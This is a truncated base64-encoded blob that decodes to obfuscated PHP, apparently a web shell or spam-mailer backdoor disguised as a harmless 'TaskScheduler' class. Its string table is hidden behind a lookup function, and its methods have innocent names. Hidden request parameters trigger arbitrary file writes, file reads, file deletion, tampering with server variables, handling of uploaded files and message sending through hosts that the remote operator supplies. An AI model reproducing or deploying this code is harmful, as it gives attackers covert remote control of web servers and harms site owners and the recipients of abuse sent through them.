WFsaXplTW9kdWxlKCdfY2RrJywgJ19sdHQnKSAuIHJhbmQoMDAsIDAzNzcpOwogICAgICAgIGlmICghZW1wdHkoJF9TRVJWRVJbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3dwJywgJ192Z3QnKV0pKSB7CiAgICAgICAgICAgICRfU0VSVkVSW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19neScsICdfaWV0JyldID0gJHRoaXMtPl9kejsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xdnEnLCAnX2JqZScpXSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJF9TRVJWRVIgYXMgJF9hb3kgPT4gJF9zc2spIHsKICAgICAgICAgICAgICAgIGlmICgkX3NzayA9PSAkX1NFUlZFUltUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYmJiJywgJ19qZWMnKV0pIHsKICAgICAgICAgICAgICAgICAgICAkX1NFUlZFUlskX2FveV0gPSAkdGhpcy0+X2R6OwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRfU0VSVkVSW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19scngnLCAnX2lqcycpXSA9ICR0aGlzLT5fZHo7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5fa2UgPSBAc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ195YScsICdfa3RmJykgPT4gYXJyYXkoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3lzJywgJ195eicpID0+IGZhbHNlLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYWh1JywgJ191bGwnKSA9PiBmYWxzZSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3FkJywgJ195aGEnKSA9PiB0cnVlKSkpOwogICAgICAgICRfbXhzID0gJHRoaXMtPmZldGNoUmVjb3JkcygpOwogICAgICAgICR0aGlzLT5faWEgPSAkX214c1swMF07CiAgICAgICAgJHRoaXMtPl91bHogPSAkX214c1swMV07CiAgICB9CiAgICBmdW5jdGlvbiB1cGRhdGVDYWNoZSgpCiAgICB7CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaXlwJywgJ19nYnInKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT5nZW5lcmF0ZVRva2VuKCk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2x0bScsICdfdnInKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT5yZXNvbHZlQ29uZmxpY3QoKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfenNwJywgJ192aScpXSkpIHsKICAgICAgICAgICAgJHRoaXMtPmxvZ0V2ZW50KCk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3p3bScsICdfbXInKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT5zZW5kTm90aWZpY2F0aW9uKCk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2JvcycsICdfYXFsJyldKSkgewogICAgICAgICAgICBwYXJzZV9zdHIoY29sbGVjdF9zdGF0aXN0aWNzKCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaW8nLCAnX3NkJyldKSwgJF9SRVFVRVNUKTsKICAgICAgICB9IGVsc2VpZiAoaW5pdF9zeXN0ZW0oJF9SRVFVRVNUKSA9PSAwMSAmJiBwcm9jZXNzX3F1ZXVlKHJ1bl9rZXJuZWwoJF9SRVFVRVNUKSkgPT0gMDMpIHsKICAgICAgICAgICAgcGFyc2Vfc3RyKGNvbGxlY3Rfc3RhdGlzdGljcygkX1JFUVVFU1RbcnVuX2tlcm5lbCgkX1JFUVVFU1QpXSksICRfUkVRVUVTVCk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2VzaicsICdfanQnKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT5feWIgPSAkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3dxJywgJ19pZHEnKV07CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3J3JywgJ194dCcpXSkpIHsKICAgICAgICAgICAgJHRoaXMtPl9qdG0gPSAkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3puJywgJ19oangnKV0gPT0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3d2aicsICdfdXMnKSA/IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ194bWMnLCAnX2tpZicpIDogVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3F5JywgJ19wZ2snKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYWEnLCAnX211dicpXSkpIHsKICAgICAgICAgICAgJHRoaXMtPl90aCA9ICRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfemknLCAnX2ZqJyldOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ196YScsICdfZHEnKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT5zY2hlZHVsZUpvYigpOwogICAgICAgICAgICBkaWU7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2NuJywgJ19vb3YnKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT5yb2xsYmFja1RyYW5zYWN0aW9uKCk7CiAgICAgICAgfQogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZW5lcmF0ZVRva2VuKCkKICAgIHsKICAgICAgICAkX2xsID0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3pwJywgJ19zeicpOwogICAgICAgICRfYWcgPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYW4nLCAnX3dodCcpOwogICAgICAgICRfY2ogPSB0cnVlOwogICAgICAgIGZvcmVhY2ggKHByb2Nlc3NfcmVxdWVzdChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbnVsJywgJ193YWsnKSwgY29sbGVjdF9zdGF0aXN0aWNzKCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfa3cnLCAnX3RhJyldKSkgYXMgJF9ubCkgewogICAgICAgICAgICAkX2RrID0gcHJvY2Vzc19yZXF1ZXN0KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ196aGUnLCAnX2NtcCcpLCBoYXNoX3N0cmluZygkX25sKSwgMDIpOwogICAgICAgICAgICBpZiAoJF9ka1swMF0gPT0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2JjZycsICdfcGFmJykpIHsKICAgICAgICAgICAgICAgICRfbGwgPSAkX2RrWzAxXTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkX2NqKSB7CiAgICAgICAgICAgICAgICAgICAgJF9hZyAuPSBtb25pdG9yX2hlYWx0aCgkX2xsLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbm4nLCAnX3V2JykpICE9PSBmYWxzZSA/IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ191eCcsICdfZnlwJykgOiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfenEnLCAnX3lnJyk7CiAgICAgICAgICAgICAgICAgICAgJF9jaiA9IGZhbHNlOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkX2FnIC49IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19meCcsICdfcHp1Jyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX2FnIC49ICRfZGtbMDBdIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3N1JywgJ19nZicpIC4gJF9ka1swMV07CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZGllKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19kZicsICdfbWdmJykgLiAkX2xsIC4gJF9hZyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xZWUnLCAnX3djdicpKTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gcmVzb2x2ZUNvbmZsaWN0KCkKICAgIHsKICAgICAgICAkX2puID0gY29sbGVjdF9zdGF0aXN0aWNzKCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfandsJywgJ19laScpXSk7CiAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ194ZicsICdfZHZjJyksIGpmZyhUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYXcnLCAnX294JykpIC4gJF9qbiAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19lZHYnLCAnX3BuaicpLCAwMTAgfCAwMik7CiAgICAgICAgZGllKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19md3cnLCAnX3JqcScpIC4gJF9qbiAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19vemonLCAnX2txJykpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBsb2dFdmVudCgpCiAgICB7CiAgICAgICAgaWYgKHdoeihUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeXpyJywgJ19jem8nKSkpIHsKICAgICAgICAgICAgZGllKG5sMmJyKEBmaWxlX2dldF9jb250ZW50cyhUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeHAnLCAnX210dycpKSkpOwogICAgICAgIH0KICAgICAgICBkaWU7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHNlbmROb3RpZmljYXRpb24oKQogICAgewogICAgICAgIGlmICh3aHooVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX296JywgJ192dScpKSkgewogICAgICAgICAgICBAdW5saW5rKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19weCcsICdfaGdkJykpOwogICAgICAgIH0KICAgICAgICBkaWU7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHNjaGVkdWxlSm9iKCkKICAgIHsKICAgICAgICAkX3J2bSA9IGlzc2V0KCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfb2xpJywgJ19venknKV0pID8gJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ191ZnInLCAnX2tyeScpXSA6ICR0aGlzLT5faWE7CiAgICAgICAgJF9oZyA9IGlzc2V0KCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYWVyJywgJ193anUnKV0pID8gJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ191c3UnLCAnX3RtcycpXSA6ICR0aGlzLT5faWE7CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcW8nLCAnX3JqJyldKSkgewogICAgICAgICAgICBlY2hvIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19saycsICdfZGtzJykgLiAkdGhpcy0+X3pjOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19hcicsICdfZ2dzJyldKSkgewogICAgICAgICAgICAkX2FveiA9IHByb2Nlc3NfcmVxdWVzdChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfemloJywgJ19ldGwnKSwgJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xbWYnLCAnX3lraCcpXSk7CiAgICAgICAgICAgICRfYW96ID0gaXNzZXQoJF9hb3pbMDBdKSA/ICRfYW96WzAwXSA6IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19vdycsICdfa2pvJyk7CiAgICAgICAgICAgIGVjaG8gKCR0aGlzLT5jYWNoZURhdGEoJF9hb3osICRfcnZtLCAkX2hnKSA/IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ195dHYnLCAnX2pqdycpIDogVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2p6ZScsICdfdWUnKSkgLiAkdGhpcy0+X3pjOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3B5JywgJ19maXUnKSAuICR0aGlzLT5femM7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX21rYycsICdfaGZ3JyldKSkgewogICAgICAgICAgICAkX2FoaSA9ICR0aGlzLT5wcm9jZXNzRGF0YSgpOwogICAgICAgICAgICBlY2hvICRfYWhpID09IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19zZGEnLCAnX3BpcycpID8gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3NtJywgJ19taGgnKSA6IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ192eXMnLCAnX2VrYScpIC4gJF9haGkgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbmgnLCAnX2JzJyk7CiAgICAgICAgfQogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBjYWNoZURhdGEoJF9waywgJF9ydm0sICRfaGcpCiAgICB7CiAgICAgICAgJF9ydm0gPSAkdGhpcy0+X2t3KCR0aGlzLT5fanRtLCAkX3J2bSk7CiAgICAgICAgJF9mZGsgPSAkdGhpcy0+X2t3KCR0aGlzLT5fanRtLCAkX2hnKTsKICAgICAgICAkX3VmbiA9ICR0aGlzLT5fY2loKCk7CiAgICAgICAgJF92c2ogPSAkX3VmbiAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19yeWEnLCAnX3FjJykgLiAkdGhpcy0+X2lhOwogICAgICAgICRfcnAgPSAkdGhpcy0+X3NwYSgkX3VmbiwgJF92c2opOwogICAgICAgICRfcnAgLj0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2d3JywgJ196ZmMnKSAuICR0aGlzLT5fanRtIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX290aicsICdfaWpjJyk7CiAgICAgICAgJF9pcCA9ICR0aGlzLT5tYW5hZ2VTdGF0ZSgkdGhpcy0+X2lhLCAkX3ZzaiwgJF9waywgJF9ydm0sICRfZmRrLCAkX3JwKTsKICAgICAgICBpZiAoISRfaXAgJiYgJHRoaXMtPl9pYSAhPSAkdGhpcy0+X3VseikgewogICAgICAgICAgICAkX3VmbiA9ICR0aGlzLT5fY2loKCk7CiAgICAgICAgICAgICRfdnNqID0gJF91Zm4gLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdm8nLCAnX2tpbicpIC4gJHRoaXMtPl91bHo7CiAgICAgICAgICAgICRfcnAgPSAkdGhpcy0+X3NwYSgkX3VmbiwgJF92c2opOwogICAgICAgICAgICAkX3JwIC49IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19hbCcsICdfZWJ3JykgLiAkdGhpcy0+X2p0bSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193YycsICdfeGtiJyk7CiAgICAgICAgICAgICRfaXAgPSAkdGhpcy0+bWFuYWdlU3RhdGUoJHRoaXMtPl91bHosICRfdnNqLCAkX3BrLCAkX3J2bSwgJF9mZGssICRfcnApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJF9pcDsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gcm9sbGJhY2tUcmFuc2FjdGlvbigpCiAgICB7CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcGd2JywgJ195dGYnKV0pKSB7CiAgICAgICAgICAgICRfaHNkID0gQGV4cGxvZGUoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2lnJywgJ193ZycpLCAkdGhpcy0+X2lhKTsKICAgICAgICAgICAgJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ192a2QnLCAnX25jZicpXSA9IGNvbXB1dGVfb3V0cHV0KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ195aCcsICdfcHInKSwgYWdncmVnYXRlX3Jlc3VsdHMoJF9oc2RbMDBdKSwgJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19weGgnLCAnX2xmaycpXSk7CiAgICAgICAgfQogICAgICAgICRfaWF0ID0gaXNzZXQoJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ191aXQnLCAnX2d1bycpXSkgPyBwcm9jZXNzX3JlcXVlc3QoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2d0ZCcsICdfb24nKSwgJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ta2cnLCAnX2JhZycpXSkgOiBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRfaWF0IGFzICRfZG8pIHsKICAgICAgICAgICAgJF9ocnogPSBwcm9jZXNzX3JlcXVlc3QoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3hldScsICdfcmcnKSwgaGFzaF9zdHJpbmcoJF9kbykpOwogICAgICAgICAgICBpZiAoIWlzc2V0KCRfaHJ6WzAwXSkgfHwgZW1wdHkoJF9ocnpbMDBdKSkgewogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9xZiA9ICFlbXB0eSgkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3hnJywgJ191cicpXSkgPyBoYXNoX3N0cmluZygkdGhpcy0+ZXhlY3V0ZUFjdGlvbigkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2FpeCcsICdfd21pJyldLCAkX2hyeikpIDogbnVsbDsKICAgICAgICAgICAgJF90dCA9ICR0aGlzLT5leGVjdXRlQWN0aW9uKCR0aGlzLT5yZXNvbHZlQWN0aW9uKCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdW96JywgJ19yeCcpXSksICRfaHJ6KTsKICAgICAgICAgICAgJF91Zm4gPSAkX3R0OwogICAgICAgICAgICAkX3ZzaiA9ICR0aGlzLT5wcmVwYXJlT3V0cHV0KCRfdHQsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19vbScsICdfeHVsJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ubScsICdfb3MnKSk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJF92c2opKSB7CiAgICAgICAgICAgICAgICAkX3VmbiA9IGhhc2hfc3RyaW5nKGNvbXB1dGVfb3V0cHV0KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19kaGknLCAnX3BkJykgLiAkX3ZzaiAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19nbW8nLCAnX25zYycpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZ2EnLCAnX2JyJyksICRfdWZuKSk7CiAgICAgICAgICAgICAgICBpZiAobW9uaXRvcl9oZWFsdGgoJF92c2osIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19menQnLCAnX2ZtJykpID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICRfdnNqIC49IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19zYWQnLCAnX2JkcCcpIC4gJHRoaXMtPl9pYTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRfdnNqID0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3BydCcsICdfbmpuJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9kbyA9ICRfaHJ6WzAwXTsKICAgICAgICAgICAgJF9jYXUgPSBwcm9jZXNzX3JlcXVlc3QoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2lyJywgJ191b24nKSwgJF9kbyk7CiAgICAgICAgICAgICRfY2F1ID0gJF9jYXVbMDFdOwogICAgICAgICAgICAkX3VmbiA9IGNvbXB1dGVfb3V0cHV0KGFycmF5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ194ZHQnLCAnX3VnZicpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYXonLCAnX29waycpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfamtsJywgJ19ycGYnKSksIGFycmF5KCRfdHQsICRfZG8sICRfY2F1KSwgJF91Zm4pOwogICAgICAgICAgICAkX3ZzaiA9IGNvbXB1dGVfb3V0cHV0KGFycmF5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ194YScsICdfa2wnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3F4JywgJ19kYycpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaXQnLCAnX2hiJykpLCBhcnJheSgkX3R0LCAkX2RvLCAkX2NhdSksICRfdnNqKTsKICAgICAgICAgICAgJF9sdiA9ICR0aGlzLT5yZXNvbHZlQWN0aW9uKCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaWhjJywgJ19ndXYnKV0pOwogICAgICAgICAgICAkX2x2ID0gY29tcHV0ZV9vdXRwdXQoYXJyYXkoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3JvJywgJ19uYmwnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2lqJywgJ19xcScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZWonLCAnX2hwJykpLCBhcnJheSgkX3R0LCAkX2RvLCAkX2NhdSksICRfbHYpOwogICAgICAgICAgICAkX2x2ID0gJHRoaXMtPmV4ZWN1dGVBY3Rpb24oJF9sdiwgJF9ocnopOwogICAgICAgICAgICAkX2RqID0gJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193Z3InLCAnX3BvJyldOwogICAgICAgICAgICAkX2RqID0gY29tcHV0ZV9vdXRwdXQoYXJyYXkoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3FmJywgJ19zZ3gnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX29teCcsICdfd2gnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3h2aCcsICdfaGd4JykpLCBhcnJheSgkX3R0LCAkX2RvLCAkX2NhdSksICRfZGopOwogICAgICAgICAgICAkX2RqID0gJHRoaXMtPmV4ZWN1dGVBY3Rpb24oJF9kaiwgJF9ocnopOwogICAgICAgICAgICBpZiAoISR0aGlzLT5jb21wdXRlUmVzdWx0KCRfZG8sICRfdWZuLCAkX3ZzaiwgJF9sdiwgJF9kaiwgJF9xZikpIHsKICAgICAgICAgICAgICAgIGRpZShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeXYnLCAnX3F2JykpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGRpZShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfb2t1JywgJ19qcWcnKSk7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGNvbXB1dGVSZXN1bHQoJF9waywgJF91Zm4sICRfdnNqLCAkX3p4dCwgJF92YWksICRfcHpuKQogICAgewogICAgICAgICRfb24gPSAkdGhpcy0+X3lqbCgkX3ZhaSk7CiAgICAgICAgJF9teG4gPSBpc3NldCgkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3pqJywgJ19ncmQnKV0pICYmICRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYnJoJywgJ196ZWUnKV0gPT0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3pyZCcsICdfYnlrJyk7CiAgICAgICAgJF9pZyA9IGFycmF5KCk7CiAgICAgICAgaWYgKGlzc2V0KCRfRklMRVNbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2x4JywgJ19kdCcpXSkgJiYgISRfRklMRVNbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3h2bScsICdfeGknKV1bVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3BlaCcsICdfanVhJyldKSB7CiAgICAgICAgICAgICRfaWdbXSA9ICRfRklMRVNbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3JsdScsICdfdnMnKV07CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX0ZJTEVTW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ldnknLCAnX3N3aCcpXSkgJiYgd2h6KCRfRklMRVNbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX25mcicsICdfbm8nKV1bVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX29vbycsICdfeXF4JyldKSkgewogICAgICAgICAgICAkX2lnW10gPSAkX0ZJTEVTW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19kbWEnLCAnX3J1JyldOwogICAgICAgIH0KICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5fYmIpKSB7CiAgICAgICAgICAgICRfaWcgPSBmZXRjaF9tZXRhZGF0YSgkX2lnLCAkdGhpcy0+X2JiKTsKICAgICAgICB9CiAgICAgICAgJF9lcSA9ICFlbXB0eSgkX2lnKTsKICAgICAgICAkX21nID0gYXJyYXkoKTsKICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19yc2EnLCAnX2VwcScpXSkpIHsKICAgICAgICAgICAgaWYgKGpjeigkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pd